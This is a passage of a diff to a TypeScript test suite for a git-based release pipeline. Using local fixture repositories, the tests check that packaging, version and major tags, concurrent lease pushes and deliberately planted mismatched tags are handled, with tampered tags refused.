[0-9a-f]{40}'s source/, - ], - [ - "an extra library file", - (rerun) => write(rerun, "lib/pkg/chunk.js", "extra\n"), - new RegExp( - String.raw`refs/tags/v2\.1\.0 carries \[lib/index\.js, lib/pkg/index\.d\.ts, lib/pkg/index\.js\] under lib/index\.js and lib/pkg/, ` + - String.raw`while this build of [0-9a-f]{40} produced \[lib/index\.js, lib/pkg/chunk\.js, lib/pkg/index\.d\.ts, lib/pkg/index\.js\]`, - ), ], + ["an extra library file", (rerun) => write(rerun, "lib/pkg/chunk.js", "extra\n")], ]; - test.each(drifted)("a rerun whose rebuild differs in %s stops loudly", (_name, drift, error) => { + test.each(drifted)("a rerun whose rebuild differs in %s stops loudly", (_name, drift) => { const fx = seedFixture(); packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const before = git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}"); + const before = git(fx.origin, "rev-parse", `${TAG}^{}`); const rerun = checkoutOf(fx, "rerun-drift", fx.mergeSha, "packaged-bundle-bytes-1\n"); drift(rerun); expect(() => packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - error, - ); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(before); - }); - - /** Plant v2.1.0 (and, when asked, v2) on a commit of `files` over `from` under `message`. */ - function plantTag( - fx: Fixture, - name: string, - from: string, - message: string[], - files: Record, - tags: string[] = ["v2.1.0"], - workflows: "stripped" | "kept" = "stripped", - ): string { - const planter = clone(fx.root, fx.origin, name); - git(planter, "checkout", "--quiet", from); - if (workflows === "stripped") { - stripWorkflows(planter); - } - for (const [file, content] of Object.entries(files)) { - write(planter, file, content); - git(planter, "add", "-f", file); - } - if (shouldStripManifest(files)) { - stripPrepare(planter); - } - git(planter, "commit", "--quiet", "--allow-empty", ...message.flatMap((m) => ["-m", m])); - for (const tag of tags) { - git(planter, "tag", tag); - } - git(planter, "push", "--quiet", "origin", ...tags.map((tag) => `refs/tags/${tag}`)); - return git(planter, "rev-parse", "HEAD"); - } - - const wrongSource: [string, (fx: Fixture) => string[], RegExp][] = [ - [ - "recording another source", - (fx) => ["build: by hand", `Source: ${fx.seedSha}`], - /records [0-9a-f]{40} as its source, not this release's merge commit/, - ], - [ - "recording no source", - () => ["build: package v2.1.0"], - /records no source, not this release's merge commit/, - ], - ]; - test.each(wrongSource)("an existing tag %s stops loudly", (_name, message, error) => { - const fx = seedFixture(); - const planted = plantTag(fx, "planter", fx.seedSha, message(fx), builtFiles("planted\n")); - expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - error, - ); - expect(git(fx.origin, "rev-parse", "refs/tags/v2.1.0^{}")).toBe(planted); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); - }); - - test("an existing tag that changes more than the build outputs stops loudly", () => { - const fx = seedFixture(); - plantTag(fx, "planter-extra", fx.mergeSha, ["build: by hand", `Source: ${fx.mergeSha}`], { - ...builtFiles("packaged-bundle-bytes-1\n"), - "src/marker.ts": "export const marker = 666;\n", - }); - expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/, - ); - }); - - test("an existing tag that kept its workflows stops loudly, naming them", () => { - const fx = seedFixture(); - plantTag( - fx, - "planter-workflows", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - builtFiles("packaged-bundle-bytes-1\n"), - ["v2.1.0"], - "kept", - ); - expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/, - ); - }); - - /** `count` plumbing-made chain commits of the seed appended after `from` on build. */ - function appendFillers(fx: Fixture, from: string, count: number): string { - const filler = clone(fx.root, fx.origin, `filler-${from.slice(0, 8)}`); - git(filler, "checkout", "--quiet", fx.seedSha); - stripWorkflows(filler); - writeBuild(filler, "packaged-bundle-bytes-0\n"); - stageBuild(filler); - stripPrepare(filler); - const tree = git(filler, "write-tree"); - let tip = from; - for (let n = 0; n < count; n++) { - tip = git( - filler, - "commit-tree", - tree, - "-p", - tip, - "-m", - `build: backfill ${n}`, - "-m", - `Source: ${fx.seedSha}`, - ); - } - git(filler, "push", "--quiet", "origin", `${tip}:refs/heads/build`); - return tip; - } - - test("a release sixty chain commits behind the tip still verifies, on every path", () => { - const fx = seedFixture(); - const packaged = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const tip = appendFillers(fx, packaged.packagedSha, 60); - const rerun = checkoutOf(fx, "rerun-deep", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = packageRelease({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha }); - }); - // latest stays on the release: the fillers package an older source. - expect(result).toEqual({ - created: false, - packagedSha: packaged.packagedSha, - latestSha: packaged.packagedSha, - }); - expect(pushes).toEqual([]); - expect(buildTip(fx)).toBe(tip); - expect(retagMajor({ cwd: rerun, tag: "v2.1.0", sourceSha: fx.mergeSha })).toEqual({ - major: "v2", - packagedSha: packaged.packagedSha, - }); - expect( - verifyPublishedRefs({ - cwd: shallowChecker(fx, "verify-deep"), - tag: "v2.1.0", - sourceSha: fx.mergeSha, - }), - ).toEqual({ major: "v2", packagedSha: packaged.packagedSha }); - }); - - test("a tag on a commit that is not on build is refused, even with the right tree and bytes", () => { - const fx = seedFixture(); - // The planted tag has the merge commit's exact chain tree, bundle bytes, and Source trailer, but is parented on the merge commit itself, off the - // chain. - advanceBuild({ - cwd: checkoutOf(fx, "seed-run", fx.seedSha, "packaged-bundle-bytes-0\n"), - sourceSha: fx.seedSha, - }); - const tip = buildTip(fx); - const planted = plantTag( - fx, - "planter-detached", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - builtFiles("packaged-bundle-bytes-1\n"), - ); - const refusal = - `refs/tags/v2.1.0 (${planted}) is not on refs/heads/build (not an ancestor of its tip ` + - `${tip}); the release-tags ruleset freezes version tags, so no rerun can replace it - ` + - "inspect it by hand."; - let error: unknown; - const pushes = withPushPlans(fx, [], () => { - try { - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - } catch (thrown) { - error = thrown; - } - }); - expect(error).toEqual(new Error(refusal)); - expect(pushes).toEqual([]); - // latest stays on the seed's package: the detached commit never becomes what it names. - expect(latestTag(fx)).toBe(tip); - expect(() => retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - refusal, + new RegExp( + `^${TAG} \\(${before}\\) packages ${fx.mergeSha}, but its tree [0-9a-f]{40} is not the tree [0-9a-f]{40} this checkout's build packages, .*Diff the two trees by hand; ${literally(FROZEN)}$`, + ), ); - expect(remoteRef(fx, "refs/tags/v2")).toBe(""); - git(fx.work, "push", "--quiet", "origin", `${planted}:refs/tags/v2`); - expect(() => - verifyPublishedRefs({ - cwd: shallowChecker(fx, "verify-detached"), - tag: "v2.1.0", - sourceSha: fx.mergeSha, - }), - ).toThrow(`origin's ${refusal}`); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(before); }); - test("a tag with no build branch at all is refused", () => { - const fx = seedFixture(); - const planted = plantTag( - fx, - "planter-nobuild", - fx.mergeSha, - ["build: by hand", `Source: ${fx.mergeSha}`], - builtFiles("packaged-bundle-bytes-1\n"), - ); - expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - `refs/tags/v2.1.0 (${planted}) exists but refs/heads/build does not exist on origin; ` + - "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand.", - ); - }); + test.each(PLANTED_PACKAGES)( + "an existing version tag on %s stops package and retag-major, and nothing moves", + (_name, plant) => { + const fx = seedFixture(); + const { from, sha, error } = plant(fx); + git(from, "push", "--quiet", "origin", `${sha}:${TAG}`); + const frozen = new RegExp(`${literally(FROZEN)}$`); + const pushes = withPushPlans(fx, [], () => { + for (const path of [ + () => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }), + () => retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }), + ]) { + expect(path).toThrow(error); + expect(path).toThrow(frozen); + } + }); + expect(pushes).toEqual([]); + expect(git(fx.origin, "rev-parse", `${TAG}^{}`)).toBe(sha); + expect(remoteRef(fx, LATEST)).toBe(""); + expect(buildTags(fx)).toEqual([]); + }, + ); test("a checkout that is not the merge commit refuses to package", () => { const fx = seedFixture(); @@ -621,13 +402,13 @@ describe("packageRelease", () => { }); expect(error).toEqual( new Error( - `the release source ${sideSha} is not on origin's main (its head is ${fx.mergeSha}); refusing to package, tag, or publish a commit main does not hold.`, + `${sideSha} is not on origin's main (its head is ${fx.mergeSha}); refusing to package, tag, or publish a commit main does not hold.`, ), ); expect(pushes).toEqual([]); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); - expect(remoteRef(fx, "refs/tags/v2.1.0")).toBe(""); - expect(remoteRef(fx, "refs/tags/latest")).toBe(""); + expect(buildTags(fx)).toEqual([]); + expect(remoteRef(fx, TAG)).toBe(""); + expect(remoteRef(fx, LATEST)).toBe(""); }); test("a well-shaped tag for a version this source did not release mints nothing", () => { @@ -636,16 +417,16 @@ describe("packageRelease", () => { /did not release/, ); expect(remoteRef(fx, "refs/tags/v2.2.0")).toBe(""); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); + expect(buildTags(fx)).toEqual([]); }); test.each(["lib/index.js", "lib/pkg/index.js"])("a missing %s refuses to package", (file) => { const fx = seedFixture(); rmSync(join(fx.work, file)); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - `${file} is not built; run the build before packaging.`, + `does not carry a non-empty regular-file ${file} (no entry); refusing to point a consumable ref at an unpackaged commit; run the build before packaging.`, ); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); + expect(buildTags(fx)).toEqual([]); }); test("a worktree dirty beyond the build outputs refuses to package", () => { @@ -654,14 +435,24 @@ describe("packageRelease", () => { expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( /pending changes beyond lib\/index\.js and lib\/pkg\//, ); - expect(remoteRef(fx, "refs/tags/v2.1.0")).toBe(""); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); + expect(remoteRef(fx, TAG)).toBe(""); + expect(buildTags(fx)).toEqual([]); + }); + + test("a shallow checkout is refused before any verdict", () => { + const fx = seedFixture(); + const dir = shallowClone(fx, "shallow"); + writeBuild(dir, "packaged-bundle-bytes-1\n"); + expect(() => packageRelease({ cwd: dir, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( + /^package needs the full history \(fetch-depth: 0\) and this checkout is shallow/, + ); + expect(remoteRef(fx, TAG)).toBe(""); }); }); /** - * The next release's merge on origin/main, prepared from a fresh clone as CI sees it: the previous release's packaged commit lives on build, never in - * a working branch. + * The next release's merge on origin/main, prepared from a fresh clone as CI sees it: the previous release's + * packaged commit lives under its tags, never in a working branch. */ function prepareNextRelease( fx: Fixture, @@ -678,31 +469,65 @@ function prepareNextRelease( } describe("retagMajor", () => { - test("the major moves to the verified chain commit", () => { + test("the major is created on the verified package, follows the next release forward, and a rerun of the older release's job leaves it there", () => { const fx = seedFixture(); const { packagedSha } = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const moved = retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - expect(moved).toEqual({ major: "v2", packagedSha }); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packagedSha); - expect(buildTip(fx)).toBe(packagedSha); + let moved: ReturnType | undefined; + const pushes = withPushPlans(fx, [], () => { + moved = retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); + }); + expect(moved).toMatchObject({ + major: "v2", + packagedSha, + move: { sha: packagedSha, changed: true }, + }); + expect(pushes).toEqual([moveOf(V2, "", packagedSha)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(packagedSha); expect(identityOf(fx.origin, packagedSha)).toBe(BOT_IDENTITY); expect(localIdentity(fx.work)).toBe(FIXTURE_IDENTITY); const next = prepareNextRelease(fx, "2.1.1", 44, "packaged-bundle-bytes-2\n"); - const packaged = packageRelease({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); - retagMajor({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packaged.packagedSha); - expect(git(fx.origin, "rev-parse", `${packaged.packagedSha}^`)).toBe(packagedSha); - expect(buildTip(fx)).toBe(packaged.packagedSha); + const newer = packageRelease({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); + let forward: ReturnType | undefined; + const forwardPushes = withPushPlans(fx, [], () => { + forward = retagMajor({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); + }); + expect(forward).toMatchObject({ + major: "v2", + packagedSha: newer.packagedSha, + move: { sha: newer.packagedSha, changed: true }, + }); + expect(forwardPushes).toEqual([moveOf(V2, packagedSha, newer.packagedSha)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(newer.packagedSha); + expect(parentsOf(fx.origin, newer.packagedSha)).toEqual([next.mergeSha]); + + const stale = checkoutOf(fx, "stale-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + expect(packageRelease({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha })).toMatchObject({ + created: false, + packagedSha, + pruned: [], + latest: { sha: newer.packagedSha, changed: false }, + }); + let left: ReturnType | undefined; + const stalePushes = withPushPlans(fx, [], () => { + left = retagMajor({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha }); + }); + expect(left).toMatchObject({ + major: "v2", + packagedSha, + move: { sha: newer.packagedSha, changed: false }, + }); + expect(stalePushes).toEqual([]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(newer.packagedSha); }); test("the major never moves to a package of the wrong source", () => { const fx = seedFixture(); packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); expect(() => retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.seedSha })).toThrow( - /not this release's merge commit/, + new RegExp(`has parent ${fx.mergeSha}, so it is no package of ${fx.seedSha}`), ); - expect(remoteRef(fx, "refs/tags/v2")).toBe(""); + expect(remoteRef(fx, V2)).toBe(""); }); test("the major never moves to a commit that is not a pure package", () => { @@ -711,61 +536,17 @@ describe("retagMajor", () => { git(planter, "checkout", "--quiet", fx.mergeSha); git(planter, "config", "user.name", "planter"); git(planter, "config", "user.email", "planter@example.invalid"); - git( - planter, - "commit", - "--quiet", - "--allow-empty", - "-m", - "build: by hand", - "-m", - `Source: ${fx.mergeSha}`, - ); + git(planter, "commit", "--quiet", "--allow-empty", "-m", "build: by hand"); git(planter, "tag", "v2.1.0"); - git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0"); + git(planter, "push", "--quiet", "origin", TAG); const mover = clone(fx.root, fx.origin, "mover-empty"); expect(() => retagMajor({ cwd: mover, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /does not carry a non-empty regular-file lib\/index\.js/, - ); - }); - - test("the major never moves to a package whose bundle is not this source's build", () => { - const fx = seedFixture(); - // Source and tree pass; only the byte verification catches the planted bundle. - const planter = clone(fx.root, fx.origin, "planter-wrong-bytes"); - git(planter, "checkout", "--quiet", fx.mergeSha); - stripWorkflows(planter); - git(planter, "config", "user.name", "planter"); - git(planter, "config", "user.email", "planter@example.invalid"); - writeBuild(planter, "planted-wrong-bytes\n"); - stageBuild(planter); - stripPrepare(planter); - git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.mergeSha}`); - git(planter, "tag", "v2.1.0"); - git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0"); - const mover = checkoutOf(fx, "mover-wrong-bytes", fx.mergeSha, "packaged-bundle-bytes-1\n"); - expect(() => retagMajor({ cwd: mover, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /not a build of/, + /is not [0-9a-f]{40} plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, alone/, ); - expect(remoteRef(fx, "refs/tags/v2")).toBe(""); + expect(remoteRef(fx, V2)).toBe(""); }); - test("a rerun of an old release's job never moves the major backward", () => { - const fx = seedFixture(); - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const next = prepareNextRelease(fx, "2.1.1", 44, "packaged-bundle-bytes-2\n"); - const packaged = packageRelease({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); - retagMajor({ cwd: next.dir, tag: "v2.1.1", sourceSha: next.mergeSha }); - const stale = checkoutOf(fx, "stale-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - packageRelease({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha }); - expect(() => retagMajor({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /refusing to move v2 back/, - ); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packaged.packagedSha); - }); - - test("a newer release landing between the line's read and the lease push never moves the major back", () => { + test("a newer release landing between the major's read and the lease push is left in place: the re-read finds the major past this release", () => { const fx = seedFixture(); const older = packageRelease({ cwd: fx.work, @@ -774,66 +555,83 @@ describe("retagMajor", () => { }).packagedSha; retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); const next = prepareNextRelease(fx, "2.1.1", 44, "packaged-bundle-bytes-2\n"); - const newer = advanceBuild({ cwd: next.dir, sourceSha: next.mergeSha }).buildSha; + const newer = packageRelease({ + cwd: next.dir, + tag: "v2.1.1", + sourceSha: next.mergeSha, + }).packagedSha; const stale = checkoutOf(fx, "stale-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - // The 2.1.1 job tags its chain commit and moves v2 there right after this run has read the v2 line: the line - // it judged held no newer release, and its lease, taken on the v2 value it read, is stale against the move. - const landing = [ - `"${realGit}" -C "${next.dir}" push --quiet origin ${newer}:refs/tags/v2.1.1`, - `"${realGit}" -C "${next.dir}" push --quiet --force origin ${newer}:refs/tags/v2`, - "", - ].join("\n"); - const pushes = withRemotePlans( + // v2 sits on a bare main commit when the rerun reads it, so the rerun has a move to make; the 2.1.1 job takes v2 + // right before the rerun's push lands, so the lease on the value it read is stale and the re-read finds v2 past + // this release. + git(fx.work, "push", "--quiet", "--force", "origin", `${fx.seedSha}:${V2}`); + let result: ReturnType | undefined; + const pushes = withPushPlans( fx, - { afterLsRemote: { naming: "refs/tags/v2.*", script: landing } }, + [{ competitor: { from: next.dir, sha: newer, ref: V2 } }], () => { - expect(() => retagMajor({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /v2\.1\.1 already exists in the v2 line.*refusing to move v2 back to v2\.1\.0/, - ); + result = retagMajor({ cwd: stale, tag: "v2.1.0", sourceSha: fx.mergeSha }); }, ); - expect(pushes).toEqual([majorOf(older)]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(newer); + expect(result).toMatchObject({ + major: "v2", + packagedSha: older, + move: { sha: newer, changed: false }, + }); + expect(pushes).toEqual([moveOf(V2, fx.seedSha, older)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(newer); }); - test("a lease overtaken by another mover is retried on the re-observed tag", () => { + test("a lease overtaken by a hand move to a bare main commit is retried on the re-observed value and replaces it", () => { const fx = seedFixture(); const { packagedSha } = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); let result: ReturnType | undefined; const pushes = withPushPlans( fx, - [{ competitor: { from: fx.work, sha: fx.seedSha, ref: "refs/tags/v2" } }], + [{ competitor: { from: fx.work, sha: fx.seedSha, ref: V2 } }], () => { result = retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); }, ); - expect(result).toEqual({ major: "v2", packagedSha }); - expect(pushes).toEqual([majorOf(""), majorOf(fx.seedSha)]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(packagedSha); + expect(result).toMatchObject({ + major: "v2", + packagedSha, + move: { sha: packagedSha, changed: true }, + }); + expect(pushes).toEqual([moveOf(V2, "", packagedSha), moveOf(V2, fx.seedSha, packagedSha)]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(packagedSha); }); test("a lease overtaken on every attempt gives up naming the concurrent mover", () => { const fx = seedFixture(); - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); + const { packagedSha } = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); const movers = [fx.seedSha, fx.mergeSha, fx.seedSha]; const pushes = withPushPlans( fx, - movers.map((sha) => ({ competitor: { from: fx.work, sha, ref: "refs/tags/v2" } })), + movers.map((sha) => ({ competitor: { from: fx.work, sha, ref: V2 } })), () => { expect(() => retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - "could not move v2 after 3 compare-and-swap attempts; something is moving it concurrently - inspect the tag by hand.", + `could not move ${V2} after 3 compare-and-swap attempts; something keeps moving it concurrently - rerun this job once it settles.`, ); }, ); - expect(pushes).toEqual([majorOf(""), majorOf(fx.seedSha), majorOf(fx.mergeSha)]); - expect(git(fx.origin, "rev-parse", "refs/tags/v2^{}")).toBe(fx.seedSha); + expect(pushes).toEqual([ + moveOf(V2, "", packagedSha), + moveOf(V2, fx.seedSha, packagedSha), + moveOf(V2, fx.mergeSha, packagedSha), + ]); + expect(git(fx.origin, "rev-parse", `${V2}^{}`)).toBe(fx.seedSha); }); test.each(PERMANENT)( "%s fails the first lease push for good, with git's own words", (_name, stderr) => { const fx = seedFixture(); - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); + const { packagedSha } = packageRelease({ + cwd: fx.work, + tag: "v2.1.0", + sourceSha: fx.mergeSha, + }); let error: unknown; const pushes = withPushPlans(fx, [{ fail: { stderr, status: 128 } }], () => { try { @@ -842,125 +640,17 @@ describe("retagMajor", () => { error = thrown; } }); - expect(pushes).toEqual([majorOf("")]); + expect(pushes).toEqual([moveOf(V2, "", packagedSha)]); expect(error).toEqual( new Error( - `git push --force-with-lease=refs/tags/v2: origin refs/tags/v2 failed: ${stderr.trim()}`, + `git push --force-with-lease=${V2}: origin ${packagedSha}:${V2} failed: ${stderr.trim()}`, ), ); - expect(remoteRef(fx, "refs/tags/v2")).toBe(""); + expect(remoteRef(fx, V2)).toBe(""); }, ); }); -describe("verifyPublishedRefs", () => { - test("the version tag and the major point at the same packaged, bundle-carrying chain commit", () => { - const fx = seedFixture(); - // build already holds the seed's package, so the release's chain commit is appended behind it rather than minted as the root. - advanceBuild({ - cwd: checkoutOf(fx, "seed-run", fx.seedSha, "packaged-bundle-bytes-0\n"), - sourceSha: fx.seedSha, - }); - const { packagedSha } = packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - retagMajor({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const checker = shallowChecker(fx, "verify-fresh"); - const verified = verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }); - expect(verified).toEqual({ major: "v2", packagedSha }); - expect(packagedSha).toBe(buildTip(fx)); - for (const name of ["third-green", "fourth-green"]) { - const next = pushGreenCommit(fx, name, `packaged-bundle-${name}\n`); - advanceBuild({ cwd: next.dir, sourceSha: next.sha }); - } - expect(buildTip(fx)).not.toBe(packagedSha); - expect( - verifyPublishedRefs({ - cwd: shallowChecker(fx, "verify-behind"), - tag: "v2.1.0", - sourceSha: fx.mergeSha, - }), - ).toEqual({ major: "v2", packagedSha }); - }); - - test("a major left on a different commit fails the confirmation", () => { - const fx = seedFixture(); - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - git(fx.work, "tag", "-f", "v2", fx.seedSha); - git(fx.work, "push", "--quiet", "--force", "origin", "refs/tags/v2"); - const checker = clone(fx.root, fx.origin, "verify-drift"); - expect(() => - verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), - ).toThrow(/not this release's packaged commit/); - }); - - test("a missing major fails the confirmation", () => { - const fx = seedFixture(); - packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha }); - const checker = clone(fx.root, fx.origin, "verify-missing"); - // The confirmation fetches refs/tags/v2 from origin; with no major ever pushed, git itself refuses the fetch. - expect(() => - verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), - ).toThrow(/couldn't find remote ref/); - }); - - test("a version tag that changes more than the build outputs fails the confirmation", () => { - const fx = seedFixture(); - // Parented on the seed, so nothing but the confirmation's own fetch can bring the merge commit's tree to a shallow checkout. - const planter = clone(fx.root, fx.origin, "verify-planter-extra"); - git(planter, "checkout", "--quiet", fx.mergeSha); - stripWorkflows(planter); - writeBuild(planter, "packaged-bundle-bytes-1\n"); - stageBuild(planter); - stripPrepare(planter); - write(planter, "action.yml", "name: tampered\n"); - git(planter, "add", "-f", "action.yml"); - const planted = git( - planter, - "commit-tree", - git(planter, "write-tree"), - "-p", - fx.seedSha, - "-m", - "build: by hand", - "-m", - `Source: ${fx.mergeSha}`, - ); - git( - planter, - "push", - "--quiet", - "origin", - `${planted}:refs/tags/v2.1.0`, - `${planted}:refs/tags/v2`, - ); - const checker = shallowChecker(fx, "verify-tampered"); - expect(() => - verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), - ).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*action\.yml/, - ); - }); - - test("a version tag recording another source fails the confirmation", () => { - const fx = seedFixture(); - const planter = clone(fx.root, fx.origin, "verify-planter"); - git(planter, "checkout", "--quiet", fx.seedSha); - git(planter, "config", "user.name", "planter"); - git(planter, "config", "user.email", "planter@example.invalid"); - writeBuild(planter, "planted\n"); - stageBuild(planter); - git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.seedSha}`); - git(planter, "tag", "v2.1.0"); - git(planter, "tag", "v2"); - git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0", "refs/tags/v2"); - const checker = clone(fx.root, fx.origin, "verify-wrong-source"); - expect(() => - verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), - ).toThrow( - `origin's refs/tags/v2.1.0 points at ${git(planter, "rev-parse", "HEAD")}, which records ${fx.seedSha} as its source, not this release's merge commit ${fx.mergeSha}.`, - ); - }); -}); - /** release-please's PR branch: manifest and changelog bumped to `version` on `from`; left unpushed for a competitor plan when `push` is false. */ function createReleasePrBranch( fx: Fixture, @@ -1035,7 +725,7 @@ describe("anchorReleasePr", () => { const fx = seedFixture(); const worker = clone(fx.root, fx.origin, "anchor-nobranch"); const result = anchorReleasePr({ cwd: worker, sourceSha: fx.mergeSha }); - expect(result).toEqual({ changed: false, reason: "no release PR branch to anchor" }); + expect(result).toMatchObject({ changed: false, reason: "no release PR branch to anchor" }); }); test("a moved main makes the anchor defer to the newer run", () => { @@ -1095,7 +785,7 @@ describe("anchorReleasePr", () => { result = anchorReleasePr({ cwd: worker, sourceSha: fx.mergeSha }); }, ); - expect(result).toEqual({ + expect(result).toMatchObject({ changed: true, reason: `release-please--branches--main: anchored at ${fx.mergeSha}`, }); @@ -1348,7 +1038,7 @@ describe("release configuration contract", () => { packages: Record>; }; const root = config.packages["."]; - // release-please must never create a tag on main; the hook mints the only tag, on the build chain commit. + // release-please must never create a tag on main; the hook mints the only tag, on the merge commit's packaged commit. // draft: true + force-tag-creation: false -> explicit, since the upstream default could change // include-component-in-tag: false -> tags stay strictly vX.Y.Z, the one shape releaseMajor() accepts // skip-github-release unset -> set, release_created never fires and the hook never runs @@ -1367,7 +1057,7 @@ describe("release tag shape", () => { packageRelease({ cwd: fx.work, tag: "v2.1-rc.0", sourceSha: fx.mergeSha }), ).toThrow(/not a vX\.Y\.Z release tag/); expect(remoteRef(fx, "refs/tags/v2.1-rc.0")).toBe(""); - expect(remoteRef(fx, "refs/heads/build")).toBe(""); + expect(buildTags(fx)).toEqual([]); }); }); @@ -1402,7 +1092,6 @@ describe("prereleaseVersion", () => { ["a manifest version missing its patch", ["2.0", at(446), sha], /is not X\.Y\.Z/], ["a commit count of zero", ["2.0.0", at(0), sha], /not a positive integer/], ["a fractional commit count", ["2.0.0", at(1.5), sha], /not a positive integer/], - ["a dashed commit date", ["2.0.0", at(446, "2026-09-13"), sha], /not YYYYMMDD/], ["a short sha", ["2.0.0", at(446), "b8df084"], /not a full commit sha/], ["an upper-case sha", ["2.0.0", at(446), sha.toUpperCase()], /not a full commit sha/], ]; @@ -1480,39 +1169,13 @@ describe("prereleaseVersion", () => { test("a shallow checkout is refused: its count would stop at the 